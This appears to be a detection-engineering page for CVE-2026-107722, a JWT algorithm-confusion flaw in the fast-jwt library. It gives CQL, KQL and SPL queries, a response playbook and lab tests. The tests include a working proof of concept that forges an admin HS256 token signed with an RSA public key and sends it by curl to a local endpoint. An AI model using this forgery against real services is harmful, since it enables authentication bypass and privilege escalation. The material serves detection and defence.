Skip to content
CVE-2026-107722 CrowdStrike LogScale · LogScale

Detect fast-jwt Incomplete CVE-2026-34950 Patch: Non-Whitespace Key-Prefix RSA→HS256 Algorithm Confusion (CVE-2026-107722) in CrowdStrike LogScale

Detects exploitation of CVE-2026-107722, an incomplete-patch regression in the fast-jwt npm library (>= 6.2.0, <= 6.2.4). The original CVE-2026-34950 fix stripped only whitespace when normalizing a verifier's configured key, so a non-whitespace key prefix re-enables the classic RSA→HS256 algorithm-confusion attack: an attacker forges a JWT with the header alg set to HS256 and signs it using the application's RSA public key (which is not secret) as the HMAC secret. A vulnerable fast-jwt verifier configured for an RS256/RS384/RS512 public key will accept the forged HS256 token, allowing authentication bypass and privilege escalation. Detection focuses on JWTs presenting alg=HS256 against endpoints that should only accept asymmetric algorithms, verification acceptance of HS256 tokens, and the presence of affected fast-jwt versions in running Node.js services.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Credential Access

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
// df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence
// CrowdStrike Falcon LogScale (Humio) CQL over proxy/app HTTP logs
#event_simpleName=HttpRequest OR #repo=proxy
| authorization=/^Bearer /i
| jwt := replace(authorization, regex="(?i)^Bearer\s+", with="")
| hdr_b64 := splitString(jwt, by="\.", index=0)
| hdr_b64 := replace(hdr_b64, regex="-", with="+") | hdr_b64 := replace(hdr_b64, regex="_", with="/")
| hdr_json := base64Decode(hdr_b64)
| regex("\"alg\"\s*:\s*\"(?<alg>[^\"]+)\"", field=hdr_json)
| alg=/^HS(256|384|512)$/i
| url=/\/(api|auth|token|login)/i
| groupBy([src_ip, alg], function=[count(as=hits), collect([url])])
| sort(hits, order=desc)
critical severity medium confidence

Decodes the JWT header from Falcon LogScale HTTP/proxy events and alerts on HMAC algorithms reaching RSA-expecting fast-jwt endpoints.

Data Sources

Falcon LogScale HTTP request logsProxy log repository

Required Tables

HttpRequestproxy

False Positives & Tuning

  • Legitimate mixed-algorithm endpoints during migration.
  • Internal HMAC-signed service tokens.
  • Authorized penetration testing of JWT handling.

Other platforms for CVE-2026-107722


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Forge RSA→HS256 confusion token against vulnerable fast-jwt verifier

    Expected signal: Node.js process installs [email protected]; a JWT with header {"alg":"HS256"} is generated and verified in-process.

  2. Test 2 Submit HS256 forged token over HTTP to a protected endpoint

    Expected signal: Proxy/web access log records a request to /api/profile with an Authorization: Bearer header whose decoded JWT header alg is HS256.

  3. Test 3 Inventory scan for affected fast-jwt versions

    Expected signal: File read access to package-lock.json files; process execution of node for version parsing.


Response Playbook

Triage

  1. Decode the offending JWT header and payload (do not trust the signature): confirm the header alg is HS256/384/512 while the target application is configured for RS256/384/512 verification — this mismatch is the primary indicator.
  2. Identify the receiving service and confirm whether it uses fast-jwt at a version in the affected range (>= 6.2.0, <= 6.2.4) via `npm ls fast-jwt` / lockfile inspection.
  3. Check the application response/auth outcome for the flagged request: an HTTP 200 / successful authentication following an HS256 token against an RSA endpoint indicates the forgery was accepted (true exploitation), versus a 401 (blocked attempt).
  4. Review the JWT claims (sub, roles, scopes, exp) in accepted tokens to determine whether privilege escalation or impersonation occurred.

Containment

  1. Upgrade fast-jwt to 6.3.0 or later on all affected services immediately; if upgrade is blocked, explicitly pin the verifier to the asymmetric algorithm via the `algorithms` allow-list option so HS* is rejected.
  2. Rotate any RSA key pairs whose public key may have been used as the HMAC secret, and invalidate all currently issued sessions/tokens (bump key id / signing key) to force re-authentication.
  3. Place a temporary WAF/proxy rule rejecting inbound Bearer tokens whose decoded header alg is in the HMAC family on RSA-only endpoints.

Evidence Collection

  1. Preserve raw proxy/web access logs containing the full Authorization header and the decoded JWT header/payload for each flagged request.
  2. Capture the application's fast-jwt verifier configuration (algorithms option, key material source) and the installed package version from the lockfile.
  3. Snapshot authentication and authorization audit logs around the event window to establish whether forged tokens produced authenticated sessions or privileged actions.

Escalation Criteria

  • !Escalate to incident response if any HS256 token against an RSA endpoint received a successful (authenticated) response, indicating confirmed authentication bypass.
  • !Escalate if forged-token activity correlates with privileged account actions, data access, or lateral movement.
  • !Escalate if the affected fast-jwt version is confirmed in a production, internet-facing service handling sensitive data.

Investigation Guide

Forensic Artifacts

  • >Proxy/web access logs containing Bearer tokens with HMAC alg headers.
  • >fast-jwt version in package-lock.json / node_modules and the verifier's algorithms configuration.
  • >Application auth-success audit records correlated with forged token requests.

Tuning Guidance

Build an allow-list of endpoints/services that legitimately accept HMAC-signed JWTs and exclude them, so the detection fires only where RSA verification is expected. If application logs expose the auth outcome, tighten to accepted HS256 tokens (HTTP 200) to eliminate blocked-attempt noise. Suppress known security-testing source IPs. Where an ingest pipeline can decode the JWT and compare the header alg against the endpoint's configured algorithm, promote matches to high confidence.


Hunting Queries

Baselines which clients and endpoints present HMAC-family JWTs, so RSA-only services receiving HS* tokens stand out.

Hunting — KQL
kql
// df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence
W3CIISLog | extend AuthHeader = tostring(column_ifexists("csAuthorization","")) | where AuthHeader startswith "Bearer " | extend Alg = tostring(parse_json(base64_decode_tostring(replace_string(replace_string(tostring(split(substring(AuthHeader,7),".")[0]),"-","+"),"_","/"))).alg) | where Alg startswith "HS" | summarize count() by cIP, Alg, csUriStem
Hunting — SPL
spl
``` df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence ```
index=web | eval auth=coalesce(authorization,http_authorization) | where match(auth,"(?i)^Bearer ") | eval alg=replace(base64decode(mvindex(split(replace(auth,"(?i)^Bearer\s+",""),"."),0)),".*\"alg\":\"([^\"]+)\".*","\1") | where match(alg,"(?i)^HS") | stats count by src_ip, alg, uri_path

Atomic Red Team Tests

Test 1 Forge RSA→HS256 confusion token against vulnerable fast-jwt verifier
linux

In a lab, create a fast-jwt verifier using an RSA public key and submit a token signed with HS256 using that same public key as the HMAC secret to confirm acceptance on vulnerable versions.

Command

bash
mkdir -p /tmp/fastjwt-poc && cd /tmp/fastjwt-poc && npm init -y >/dev/null 2>&1 && npm i [email protected] >/dev/null 2>&1 && openssl genrsa -out priv.pem 2048 2>/dev/null && openssl rsa -in priv.pem -pubout -out pub.pem 2>/dev/null && node -e 'const{createSigner,createVerifier}=require("fast-jwt");const fs=require("fs");const pub=fs.readFileSync("pub.pem");const forged=createSigner({algorithm:"HS256",key:pub})({sub:"attacker",role:"admin"});const verify=createVerifier({key:pub});try{console.log("ACCEPTED",verify(forged));}catch(e){console.log("REJECTED",e.message);}'

Cleanup

bash
rm -rf /tmp/fastjwt-poc

Expected Telemetry

Node.js process installs [email protected]; a JWT with header {"alg":"HS256"} is generated and verified in-process.

Expected Detection

Host-level package inventory flags fast-jwt 6.2.4 as affected; if the verifier is served over HTTP, the proxy detection flags the HS256 token.

Test 2 Submit HS256 forged token over HTTP to a protected endpoint
linux

Send a crafted HS256 Bearer token to an application endpoint that expects RSA-verified JWTs, generating the network telemetry the detections key on.

Command

bash
TOKEN=$(node -e 'const{createSigner}=require("/tmp/fastjwt-poc/node_modules/fast-jwt");const fs=require("fs");console.log(createSigner({algorithm:"HS256",key:fs.readFileSync("/tmp/fastjwt-poc/pub.pem")})({sub:"attacker",role:"admin"}))'); curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer ${TOKEN}" http://localhost:3000/api/profile

Cleanup

bash
unset TOKEN

Expected Telemetry

Proxy/web access log records a request to /api/profile with an Authorization: Bearer header whose decoded JWT header alg is HS256.

Expected Detection

KQL/SPL/CQL rules fire on the HMAC-algorithm JWT reaching an RSA-only endpoint.

Test 3 Inventory scan for affected fast-jwt versions
linux

Enumerate installed fast-jwt versions across Node.js projects to identify hosts in the vulnerable range.

Command

bash
find / -name package-lock.json 2>/dev/null | while read f; do grep -l '"fast-jwt"' "$f" 2>/dev/null; done | while read f; do echo "$f"; node -e 'const l=require(process.argv[1]);const s=JSON.stringify(l);const m=s.match(/fast-jwt[^}]*?"version":"([^"]+)"/);console.log("  fast-jwt",m?m[1]:"?")' "$f"; done

Cleanup

bash
echo 'no cleanup required (read-only inventory)'

Expected Telemetry

File read access to package-lock.json files; process execution of node for version parsing.

Expected Detection

Vulnerability management / SCA flags any fast-jwt version >= 6.2.0 and <= 6.2.4 as CVE-2026-107722 affected.

Related Detections